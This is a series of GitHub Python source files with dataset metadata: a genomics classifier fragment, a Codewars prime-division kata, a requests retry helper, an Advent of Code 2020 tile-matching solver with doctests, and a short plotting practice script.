f1))\n\ny_pred_chimp = classifier.predict(X_chimp)\ny_pred_dog = classifier.predict(X_dog)\n\nprint(\"Confusion matrix\\n\")\nprint(pd.crosstab(pd.Series(y_c, name='Actual'), pd.Series(y_pred_chimp, name='Predicted')))\naccuracy, precision, recall, f1 = get_metrics(y_c, y_pred_chimp)\nprint(\"accuracy = %.3f \\nprecision = %.3f \\nrecall = %.3f \\nf1 = %.3f\" % (accuracy, precision, recall, f1))\n\nprint(\"Confusion matrix\\n\")\nprint(pd.crosstab(pd.Series(y_d, name='Actual'), pd.Series(y_pred_dog, name='Predicted')))\naccuracy, precision, recall, f1 = get_metrics(y_d, y_pred_dog)\nprint(\"accuracy = %.3f \\nprecision = %.3f \\nrecall = %.3f \\nf1 = %.3f\" % (accuracy, precision, recall, f1))\n","repo_name":"aarush3002/Genomer","sub_path":"biopython.py","file_name":"biopython.py","file_ext":"py","file_size_in_byte":11034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"10437837375","text":"\"\"\"Simple Division, Kata Codewars, level 6.\"\"\"\n\n\ndef simple_division(a, b):\n \"\"\"Return True if all prime factors of b divide evenly into a.\n\n input = integers, two parameters, a and b\n output = bool, True or False\n ex = solve(15, 12) should equal False 15 not divisible by 2,\n i.e. 2, 3 prime factors\n \"\"\"\n primes = find_prime(b)\n factors = find_factors(b)\n res = []\n for factor in factors:\n if factor in primes:\n res.append(factor)\n for el in res:\n if a % el != 0:\n return False\n else:\n return True\n\n\ndef find_prime(a):\n \"\"\"Find prime numbers.\"\"\"\n res = []\n for num in range(2, a):\n prime = True\n for i in range(2, num):\n if num % i == 0:\n prime = False\n if prime:\n res.append(num)\n return set(res)\n\n\ndef find_factors(b):\n \"\"\"Find factors of a number.\"\"\"\n res = []\n for i in range(1, b + 1):\n if b % i == 0:\n print(i)\n res.append(i)\n return res\n","repo_name":"marco-zangari/code-katas","sub_path":"src/simple_div.py","file_name":"simple_div.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"17179192498","text":"\"\"\"\nHelpful wrapper taken from:\nhttps://www.peterbe.com/plog/best-practice-with-retries-with-requests\n\"\"\"\n\nimport requests\nimport requests.adapters as adapters\nimport requests.packages.urllib3.util.retry as requests_retry\n\n\ndef url_helper(\n sess=None,\n retries=10,\n backoff_factor=0.3,\n status_forcelist=(500, 502, 504)):\n \"\"\"url_helper\n\n :param sess: ``requests.Session``\n object like\n\n .. code-block:: python\n\n s = requests.Session()\n s.auth = ('user', 'pass')\n s.headers.update({'x-test': 'true'})\n\n response = url_helper(sesssion=s).get(\n 'https://www.peterbe.com'\n )\n\n :param retries: number of retries\n default is ``3``\n :param backoff_factor: seconds per attempt\n default is ``0.3``\n :param status_forcelist: optional tuple list\n of retry error HTTP status codes\n default is ``500, 502, 504``\n \"\"\"\n session = sess or requests.Session()\n retry = requests_retry.Retry(\n total=retries,\n read=retries,\n connect=retries,\n backoff_factor=backoff_factor,\n status_forcelist=status_forcelist,\n )\n adapter = adapters.HTTPAdapter(max_retries=retry)\n session.mount('http://', adapter)\n session.mount('https://', adapter)\n return session\n# end of url_helper\n","repo_name":"AlgoTraders/stock-analysis-engine","sub_path":"analysis_engine/url_helper.py","file_name":"url_helper.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","stars":932,"dataset":"github-code","pt":"91"} +{"seq_id":"70808507184","text":"#!/usr/bin/env python3\nimport functools\nimport itertools\nimport math\nimport re\nfrom collections import namedtuple\n\nimport utils\n\n\nclass Challenge(utils.BaseChallenge):\n def solve(self, _input, debug=False):\n \"\"\"\n >>> Challenge().default_solve()\n 5966506063747\n \"\"\"\n return TileSet\\\n .from_tiles_text(_input)\\\n .to_arrangement()\\\n .get_corner_hash()\n\n\nclass TileBorderArrangement:\n size = None\n classes_by_size = {}\n\n @classmethod\n def of_size(cls, size):\n \"\"\"\n >>> TileBorderArrangement.of_size(20)([], {})\n TileBorderArrangementOfSize20\n >>> TileBorderArrangement.of_size(20).size\n 20\n \"\"\"\n if size in cls.classes_by_size:\n return cls.classes_by_size[size]\n _size = size\n\n class TileBorderArrangementOfSize(cls):\n size = _size\n\n TileBorderArrangementOfSize.__name__ = f\"{cls.__name__}OfSize{size}\"\n cls.classes_by_size[size] = TileBorderArrangementOfSize\n\n return TileBorderArrangementOfSize\n\n @classmethod\n def from_tile_set(cls, tile_set):\n \"\"\"\n >>> TileBorderArrangement.from_tile_set(TileSet.from_tiles_text(\n ... \"Tile 2473:\\\\n\"\n ... \".##\\\\n\"\n ... \"#..\\\\n\"\n ... \"#.#\\\\n\"\n ... ))\n TileBorderArrangementOfSize1\n >>> TileBorderArrangement.from_tile_set(TileSet.from_tiles_text(\n ... \"Tile 2473:\\\\n\"\n ... \".##\\\\n\"\n ... \"#..\\\\n\"\n ... \"#.#\\\\n\"\n ... )).matrix\n [[TileBorderOfSize3(id=2473, ...)]]\n \"\"\"\n count = len(tile_set.tiles_by_id)\n size = int(math.sqrt(count))\n if size * size != count:\n raise Exception(f\"Got non-square number of tiles: {count}\")\n if cls.size != size:\n if cls.size is None:\n return cls.of_size(size).from_tile_set(tile_set)\n raise Exception(\n f\"Expected {cls.size} ** 2 = {cls.size * cls.size} tiles, but \"\n f\"got {size}\")\n\n tiles = sorted(tile_set.tiles_by_id.values(), key=lambda tile: tile.id)\n return cls([\n [\n tile.to_border()\n for tile in tiles[start:start + cls.size]\n ]\n for start in range(0, len(tiles), cls.size)\n ], tile_set.tiles_by_id)\n\n def __init__(self, matrix, tiles_by_id):\n self.matrix = matrix\n self.tiles_by_id = tiles_by_id\n\n def __repr__(self):\n return f\"{type(self).__name__}\"\n\n def get_corner_hash(self):\n \"\"\"\n >>> TileSet.from_tiles_text(\n ... \"Tile 2311:\\\\n\"\n ... \"..##.#..#.\\\\n\"\n ... \"##..#.....\\\\n\"\n ... \"#...##..#.\\\\n\"\n ... \"####.#...#\\\\n\"\n ... \"##.##.###.\\\\n\"\n ... \"##...#.###\\\\n\"\n ... \".#.#.#..##\\\\n\"\n ... \"..#....#..\\\\n\"\n ... \"###...#.#.\\\\n\"\n ... \"..###..###\\\\n\"\n ... \"\\\\n\"\n ... \"Tile 1951:\\\\n\"\n ... \"#.##...##.\\\\n\"\n ... \"#.####...#\\\\n\"\n ... \".....#..##\\\\n\"\n ... \"#...######\\\\n\"\n ... \".##.#....#\\\\n\"\n ... \".###.#####\\\\n\"\n ... \"###.##.##.\\\\n\"\n ... \".###....#.\\\\n\"\n ... \"..#.#..#.#\\\\n\"\n ... \"#...##.#..\\\\n\"\n ... \"\\\\n\"\n ... \"Tile 1171:\\\\n\"\n ... \"####...##.\\\\n\"\n ... \"#..##.#..#\\\\n\"\n ... \"##.#..#.#.\\\\n\"\n ... \".###.####.\\\\n\"\n ... \"..###.####\\\\n\"\n ... \".##....##.\\\\n\"\n ... \".#...####.\\\\n\"\n ... \"#.##.####.\\\\n\"\n ... \"####..#...\\\\n\"\n ... \".....##...\\\\n\"\n ... \"\\\\n\"\n ... \"Tile 1427:\\\\n\"\n ... \"###.##.#..\\\\n\"\n ... \".#..#.##..\\\\n\"\n ... \".#.##.#..#\\\\n\"\n ... \"#.#.#.##.#\\\\n\"\n ... \"....#...##\\\\n\"\n ... \"...##..##.\\\\n\"\n ... \"...#.#####\\\\n\"\n ... \".#.####.#.\\\\n\"\n ... \"..#..###.#\\\\n\"\n ... \"..##.#..#.\\\\n\"\n ... \"\\\\n\"\n ... \"Tile 1489:\\\\n\"\n ... \"##.#.#....\\\\n\"\n ... \"..##...#..\\\\n\"\n ... \".##..##...\\\\n\"\n ... \"..#...#...\\\\n\"\n ... \"#####...#.\\\\n\"\n ... \"#..#.#.#.#\\\\n\"\n ... \"...#.#.#..\\\\n\"\n ... \"##.#...##.\\\\n\"\n ... \"..##.##.##\\\\n\"\n ... \"###.##.#..\\\\n\"\n ... \"\\\\n\"\n ... \"Tile 2473:\\\\n\"\n ... \"#....####.\\\\n\"\n ... \"#..#.##...\\\\n\"\n ... \"#.##..#...\\\\n\"\n ... \"######.#.#\\\\n\"\n ... \".#...#.#.#\\\\n\"\n ... \".#########\\\\n\"\n ... \".###.#..#.\\\\n\"\n ... \"########.#\\\\n\"\n ... \"##...##.#.\\\\n\"\n ... \"..###.#.#.\\\\n\"\n ... \"\\\\n\"\n ... \"Tile 2971:\\\\n\"\n ... \"..#.#....#\\\\n\"\n ... \"#...###...\\\\n\"\n ... \"#.#.###...\\\\n\"\n ... \"##.##..#..\\\\n\"\n ... \".#####..##\\\\n\"\n ... \".#..####.#\\\\n\"\n ... \"#..#.#..#.\\\\n\"\n ... \"..####.###\\\\n\"\n ... \"..#.#.###.\\\\n\"\n ... \"...#.#.#.#\\\\n\"\n ... \"\\\\n\"\n ... \"Tile 2729:\\\\n\"\n ... \"...#.#.#.#\\\\n\"\n ... \"####.#....\\\\n\"\n ... \"..#.#.....\\\\n\"\n ... \"....#..#.#\\\\n\"\n ... \".##..##.#.\\\\n\"\n ... \".#.####...\\\\n\"\n ... \"####.#.#..\\\\n\"\n ... \"##.####...\\\\n\"\n ... \"##..#.##..\\\\n\"\n ... \"#.##...##.\\\\n\"\n ... \"\\\\n\"\n ... \"Tile 3079:\\\\n\"\n ... \"#.#.#####.\\\\n\"\n ... \".#..######\\\\n\"\n ... \"..#.......\\\\n\"\n ... \"######....\\\\n\"\n ... \"####.#..#.\\\\n\"\n ... \".#...#.##.\\\\n\"\n ... \"#.#####.##\\\\n\"\n ... \"..#.###...\\\\n\"\n ... \"..#.......\\\\n\"\n ... \"..#.###...\\\\n\"\n ... ).to_arrangement().get_corner_hash()\n 20899048083289\n \"\"\"\n borders_by_side = self.group_matrix_by_possible_side()\n borders_by_side_by_id = self.group_borders_by_id(borders_by_side)\n corner_candidates = self.get_corner_candidates(borders_by_side_by_id)\n if len(corner_candidates) != 4:\n raise Exception(\n f\"Can only solve if there are exactly 4 corner candidates, \"\n f\"not {len(corner_candidates)}\")\n\n return functools.reduce(int.__mul__, corner_candidates)\n\n def get_corner_candidates(self, borders_by_side_by_id):\n return [\n _id\n for _id, neighbours in (\n (_id, functools.reduce(set.__or__, neighbour_map.values()))\n for _id, neighbour_map\n in borders_by_side_by_id.items()\n )\n if len(neighbours) == 2\n ]\n\n def group_borders_by_id(self, borders_by_side):\n return {\n _id: {\n side: neighbours\n for side, neighbours in (\n (side, {\n neighbour.id\n for _, _, neighbours in sub_items\n for neighbour in neighbours\n if neighbour.id != _id\n })\n for side, sub_items in itertools.groupby(sorted(\n items, key=lambda item: item[1]),\n key=lambda item: item[1])\n )\n if neighbours\n }\n for _id, items in itertools.groupby(sorted((\n (border.id, side, borders)\n for side, borders in borders_by_side.items()\n for border in borders\n ), key=lambda x: x[0]), key=lambda x: x[0])\n }\n\n def group_matrix_by_possible_side(self):\n return {\n side: {\n border\n for _, border in items\n }\n for side, items in itertools.groupby(sorted(\n (side, border)\n for row in self.matrix\n for border in row\n for transformed in border.get_all_permutations()\n for side in transformed.sides\n ), key=lambda item: item[0])\n }\n\n def show_ids(self):\n \"\"\"\n >>> print(TileBorderArrangement.from_tile_set(TileSet.from_tiles_text(\n ... \"Tile 2473:\\\\n\"\n ... \".##\\\\n\"\n ... \"#..\\\\n\"\n ... \"#.#\\\\n\"\n ... )).show_ids())\n 2473\n >>> print(TileBorderArrangement.from_tile_set(\n ... TileSet.from_tiles_text(\"\\\\n\".join(\n ... f\"Tile {_id}:\\\\n\"\n ... \".##\\\\n\"\n ... \"#..\\\\n\"\n ... \"#.#\\\\n\"\n ... \"\\\\n\"\n ... for _id in range(1, 10)\n ... ))).show_ids())\n 1 2 3\n 4 5 6\n 7 8 9\n \"\"\"\n return \"\\n\".join(\n \"\".join(\n \"{: <8}\".format(border.id)\n for border in row\n )\n for row in self.matrix\n )\n\n def show(self):\n \"\"\"\n >>> print(TileBorderArrangement.from_tile_set(TileSet.from_tiles_text(\n ... \"Tile 2473:\\\\n\"\n ... \".##\\\\n\"\n ... \"#..\\\\n\"\n ... \"#.#\\\\n\"\n ... )).show())\n .##\n #..\n #.#\n >>> print(TileBorderArrangement.from_tile_set(\n ... TileSet.from_tiles_text(\"\\\\n\".join(\n ... f\"Tile {_id}:\\\\n\"\n ... \".##\\\\n\"\n ... \"#..\\\\n\"\n ... \"#.#\\\\n\"\n ... \"\\\\n\"\n ... for _id in range(9)\n ... ))).show())\n .## .## .##\n #.. #.. #..\n #.# #.# #.#\n \n .## .## .##\n #.. #.. #..\n #.# #.# #.#\n \n .## .## .##\n #.. #.. #..\n #.# #.# #.#\n \"\"\"\n return \"\\n\\n\".join(\n self.show_row([\n border.to_tile().show(False)\n for border in row\n ])\n for row in self.matrix\n )\n\n def show_row(self, tile_show_row):\n \"\"\"\n >>> print(TileBorderArrangement([], {}).show_row([]))\n \n >>> print(TileBorderArrangement([], {}).show_row([Tile.from_tile_text(\n ... \"Tile 2473:\\\\n\"\n ... \".##\\\\n\"\n ... \"#..\\\\n\"\n ... \"#.#\\\\n\"\n ... ).show(False)]))\n .##\n #..\n #.#\n >>> print(TileBorderArrangement([], {}).show_row([Tile.from_tile_text(\n ... \"Tile 2473:\\\\n\"\n ... \".##\\\\n\"\n ... \"#..\\\\n\"\n ... \"#.#\\\\n\"\n ... ).show(False)] * 3))\n .## .## .##\n #.. #.. #..\n #.# #.# #.#\n \"\"\"\n return \"\\n\".join(\n \" \".join(sub_row)\n for sub_row in zip(*(\n show.splitlines()\n for show in tile_show_row\n ))\n )\n\n\nclass TileSet:\n tile_class = NotImplemented\n\n @classmethod\n def from_tiles_text(cls, tiles_text):\n \"\"\"\n >>> TileSet.from_tiles_text(\"\").tiles_by_id\n {}\n >>> tile_set_a = TileSet.from_tiles_text(\n ... \"Tile 2473:\\\\n\"\n ... \".##\\\\n\"\n ... \"#..\\\\n\"\n ... \"#.#\\\\n\"\n ... )\n >>> tile_set_a.tiles_by_id\n {2473: TileOfSize3(id=2473, points={...(0, 1)...})}\n >>> sorted(tile_set_a.tiles_by_id[2473].points)\n [(0, 1), (0, 2), (1, 0), (2, 0), (2, 2)]\n >>> TileSet.from_tiles_text(\n ... \"Tile 2473:\\\\n\"\n ... \".##\\\\n\"\n ... \"#..\\\\n\"\n ... \"#.#\\\\n\"\n ... \"\\\\n\"\n ... \"Tile 5:\\\\n\"\n ... \".##\\\\n\"\n ... \"#..\\\\n\"\n ... \"#.#\\\\n\"\n ... ).tiles_by_id\n {2473: TileOfSize3(id=2473, points={...(0, 1)...}),\n 5: TileOfSize3(id=5, points={...(0, 1)...})}\n \"\"\"\n non_empty_lines = filter(None, tiles_text.strip().split(\"\\n\\n\"))\n tiles_by_id = {\n tile.id: tile\n for tile in map(cls.tile_class.from_tile_text, non_empty_lines)\n }\n sizes = {tile.size for tile in tiles_by_id.values()}\n if len(sizes) > 1:\n raise Exception(f\"Got different sizes of tiles: {sorted(sizes)}\")\n return cls(tiles_by_id)\n\n def __init__(self, tiles_by_id):\n self.tiles_by_id = tiles_by_id\n\n def __repr__(self):\n return f\"{type(self).__name__}\"\n\n def to_arrangement(self):\n return TileBorderArrangement.from_tile_set(self)\n\n\nclass Tile(namedtuple(\"Tile\", (\"id\", \"points\"))):\n size = None\n classes_by_size = {}\n border_class = NotImplemented\n re_id = re.compile(r\"^Tile (\\d+):$\")\n\n @classmethod\n def of_size(cls, size):\n \"\"\"\n >>> Tile.of_size(20)(None, None)\n TileOfSize20(id=None, points=None)\n >>> Tile.of_size(20).size\n 20\n >>> Tile.of_size(20).border_class(None, None, None, None, None)\n TileBorderOfSize20(id=None,\n top=None, right=None, bottom=None, left=None)\n \"\"\"\n if size in cls.classes_by_size:\n return cls.classes_by_size[size]\n _size = size\n\n class TileOfSize(cls):\n size = _size\n border_class = cls.border_class.of_size(size)\n\n TileOfSize.__name__ = f\"{cls.__name__}OfSize{size}\"\n cls.classes_by_size[size] = TileOfSize\n\n return TileOfSize\n\n @classmethod\n def from_tile_text(cls, tile_text):\n \"\"\"\n >>> tile_a = Tile.of_size(3).from_tile_text(\n ... \"Tile 2473:\\\\n\"\n ... \".##\\\\n\"\n ... \"#..\\\\n\"\n ... \"#.#\\\\n\"\n ... )\n >>> tile_a\n TileOfSize3(id=2473, points={...(0, 1)...})\n >>> sorted(tile_a.points)\n [(0, 1), (0, 2), (1, 0), (2, 0), (2, 2)]\n \"\"\"\n id_line, *pixel_lines = tile_text.strip().splitlines()\n match = cls.re_id.match(id_line)\n if not match:\n raise Exception(f\"First line was not about tile id: '{id_line}'\")\n _id_str, = match.groups()\n if len(pixel_lines) != cls.size:\n if cls.size is None:\n return cls.of_size(len(pixel_lines)).from_tile_text(tile_text)\n raise Exception(\n f\"Expected size of {cls.size} but got height of \"\n f\"{len(pixel_lines)}\")\n lengths = set(map(len, pixel_lines))\n if lengths != {cls.size}:\n if len(lengths) == 1:\n width, = lengths\n raise Exception(\n f\"Expected size of {cls.size} but got width of {width}\")\n raise Exception(\n f\"Expected size of {cls.size} but got multiple lengths: \"\n f\"{sorted(lengths)}\")\n points = {\n (x, y)\n for y, line in enumerate(pixel_lines)\n for x, spot in enumerate(line)\n if spot == \"#\"\n }\n\n return cls(int(_id_str), points)\n\n @classmethod\n def from_border(cls, border):\n \"\"\"\n >>> print(Tile.from_border(TileBorder.of_size(4)(\n ... 1, (1, 2), (1, 2), (1, 2), (1, 2))).show())\n Tile 1:\n .##.\n #..#\n #..#\n .##.\n >>> print(Tile.from_border(Tile.of_size(3).from_tile_text(\n ... \"Tile 2473:\\\\n\"\n ... \".##\\\\n\"\n ... \"##.\\\\n\"\n ... \"#.#\\\\n\"\n ... ).to_border()).show())\n Tile 2473:\n .##\n #..\n #.#\n \"\"\"\n if cls.size != border.size:\n return cls.of_size(border.size).from_border(border)\n return cls(border.id, {\n (x, 0)\n for x in border.top\n } | {\n (cls.size - 1, y)\n for y in border.right\n } | {\n (x, cls.size - 1)\n for x in border.bottom\n } | {\n (0, y)\n for y in border.left\n })\n\n def to_border(self):\n \"\"\"\n >>> Tile.of_size(3).from_tile_text(\n ... \"Tile 2473:\\\\n\"\n ... \".##\\\\n\"\n ... \"#..\\\\n\"\n ... \"#.#\\\\n\"\n ... ).to_border()\n TileBorderOfSize3(id=2473,\n top=(1, 2), right=(0, 2), bottom=(0, 2), left=(1, 2))\n \"\"\"\n return self.border_class.from_tile(self)\n\n def show(self, include_id=True):\n \"\"\"\n >>> print(Tile.of_size(3).from_tile_text(\n ... \"Tile 2473:\\\\n\"\n ... \".##\\\\n\"\n ... \"#..\\\\n\"\n ... \"#.#\\\\n\"\n ... ).show())\n Tile 2473:\n .##\n #..\n #.#\n >>> print(Tile.of_size(3).from_tile_text(\n ... \"Tile 2473:\\\\n\"\n ... \".##\\\\n\"\n ... \"#..\\\\n\"\n ... \"#.#\\\\n\"\n ... ).show(False))\n .##\n #..\n #.#\n \"\"\"\n content = \"\\n\".join(\n \"\".join(\n \"#\"\n if (x, y) in self.points else\n \".\"\n for x in range(self.size)\n )\n for y in range(self.size)\n )\n if not include_id:\n return content\n tile_id = f\"Tile {self.id}:\"\n return f\"{tile_id}\\n{content}\"\n\n\nTileSet.tile_class = Tile\n\n\nclass TileBorder(namedtuple(\n \"TileBorder\", (\"id\", \"top\", \"right\", \"bottom\", \"left\"))):\n tile_class = Tile\n size = None\n classes_by_size = {}\n\n @classmethod\n def of_size(cls, size):\n \"\"\"\n >>> TileBorder.of_size(20)(None, None, None, None, None)\n TileBorderOfSize20(id=None,\n top=None, right=None, bottom=None, left=None)\n >>> TileBorder.of_size(20).size\n 20\n \"\"\"\n if size in cls.classes_by_size:\n return cls.classes_by_size[size]\n _size = size\n\n class TileBorderOfSize(cls):\n size = _size\n\n TileBorderOfSize.__name__ = f\"{cls.__name__}OfSize{size}\"\n cls.classes_by_size[size] = TileBorderOfSize\n\n return TileBorderOfSize\n\n @classmethod\n def from_tile(cls, tile):\n \"\"\"\n >>> TileBorder.from_tile(Tile.of_size(3).from_tile_text(\n ... \"Tile 2473:\\\\n\"\n ... \".##\\\\n\"\n ... \"#..\\\\n\"\n ... \"#.#\\\\n\"\n ... ))\n TileBorderOfSize3(id=2473,\n top=(1, 2), right=(0, 2), bottom=(0, 2), left=(1, 2))\n \"\"\"\n if cls.size != tile.size:\n return cls.of_size(tile.size).from_tile(tile)\n indexes = range(cls.size)\n last_index = cls.size - 1\n points = tile.points\n # noinspection PyArgumentList\n return cls(\n tile.id,\n tuple(\n x\n for x in indexes\n if (x, 0) in points\n ),\n tuple(\n y\n for y in indexes\n if (last_index, y) in points\n ),\n tuple(\n x\n for x in indexes\n if (x, last_index) in points\n ),\n tuple(\n y\n for y in indexes\n if (0, y) in points\n ),\n )\n\n def to_tile(self):\n return self.tile_class.from_border(self)\n\n @property\n def sides(self):\n return {self.top, self.right, self.bottom, self.left}\n\n @property\n def named_sides(self):\n return (\n (\"top\", self.top),\n (\"right\", self.right),\n (\"bottom\", self.bottom),\n (\"left\", self.left),\n )\n\n OPPOSITE_SIDE_MAP = {\n 'left': 'right',\n 'right': 'left',\n 'top': 'bottom',\n 'bottom': 'left',\n }\n\n def get_all_permutations(self):\n \"\"\"\n >>> TileBorder.of_size(10)(1, (), (), (), ()).get_all_permutations()\n {TileBorderOfSize10(id=1, top=(), right=(), bottom=(), left=())}\n >>> TileBorder.of_size(2)(1, (0, 1), (0, 1), (0, 1), (0, 1))\\\\\n ... .get_all_permutations()\n {TileBorderOfSize2(id=1, top=(0, 1), right=(0, 1), bottom=(0, 1),\n left=(0, 1))}\n >>> actual_b = TileBorder.of_size(10)(\n ... 1, (1, 2), (3, 4), (5, 6), (7, 8)).get_all_permutations()\n >>> expected_b = {\n ... TileBorder(1, (1, 2), (3, 4), (5, 6), (7, 8)),\n ... TileBorder(1, (3, 4), (3, 4), (7, 8), (7, 8)),\n ... TileBorder(1, (3, 4), (1, 2), (7, 8), (5, 6)),\n ... TileBorder(1, (1, 2), (1, 2), (5, 6), (5, 6)),\n ... TileBorder(1, (7, 8), (7, 8), (3, 4), (3, 4)),\n ... TileBorder(1, (7, 8), (5, 6), (3, 4), (1, 2)),\n ... TileBorder(1, (5, 6), (5, 6), (1, 2), (1, 2)),\n ... TileBorder(1, (5, 6), (7, 8), (1, 2), (3, 4)),\n ... }\n >>> actual_b - expected_b, expected_b - actual_b\n (set(), set())\n \"\"\"\n permutations = set()\n rotated = self\n permutations.add(rotated)\n for _ in range(3):\n rotated = rotated.rotate()\n permutations.add(rotated)\n rotated = self.flip()\n permutations.add(rotated)\n for _ in range(3):\n rotated = rotated.rotate()\n permutations.add(rotated)\n return permutations\n\n def rotate(self):\n \"\"\"\n >>> TileBorder.of_size(10)(1, (1, 2), (3, 4), (5, 6), (7, 8)).rotate()\n TileBorderOfSize10(id=1,\n top=(3, 4), right=(3, 4), bottom=(7, 8), left=(7, 8))\n \"\"\"\n cls = type(self)\n return cls(\n self.id,\n top=self.right,\n right=self.inverse_side(self.bottom),\n bottom=self.left,\n left=self.inverse_side(self.top),\n )\n\n def inverse_side(self, side):\n \"\"\"\n >>> TileBorder.of_size(4)(1, None, None, None, None)\\\\\n ... .inverse_side((1, 3))\n (0, 2)\n >>> TileBorder.of_size(4)(1, None, None, None, None)\\\\\n ... .inverse_side((0, 3))\n (0, 3)\n >>> TileBorder.of_size(4)(1, None, None, None, None)\\\\\n ... .inverse_side((0, 1, 2, 3))\n (0, 1, 2, 3)\n \"\"\"\n return tuple(sorted(\n self.size - 1 - index\n for index in side\n ))\n\n def flip(self):\n \"\"\"\n >>> TileBorder.of_size(10)(1, (1, 2), (3, 4), (5, 6), (7, 8)).flip()\n TileBorderOfSize10(id=1,\n top=(7, 8), right=(7, 8), bottom=(3, 4), left=(3, 4))\n \"\"\"\n cls = type(self)\n return cls(\n self.id,\n top=self.inverse_side(self.top),\n right=self.left,\n bottom=self.inverse_side(self.bottom),\n left=self.right,\n )\n\n\nTile.border_class = TileBorder\n\n\nChallenge.main()\nchallenge = Challenge()\n","repo_name":"costas-basdekis/advent-of-code-submissions","sub_path":"year_2020/day_20/part_a.py","file_name":"part_a.py","file_ext":"py","file_size_in_byte":22836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"25205896944","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 25 14:08:18 2017\nAlgorithms Week 1 practice\n@author: Susan\n\"\"\"\n\na = [1,2,3,4,5,6,6,7,7,7,4,4,4,4,4,4]\n\n# Make a plot of list a with x values a range of length a\nimport matplotlib.pyplot as plt\nplt.bar(range(len(a)), a)\n\ndna = 'atgcatggtgctgca'\nimport collections\ncount = collections.Counter()\ncount.update(a)\nprint (count)\nb = max(count, key=count.get)\nprint(b)","repo_name":"sepuckett86/python","sub_path":"Algorithms/week1/week1practice.py","file_name":"week1practice.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}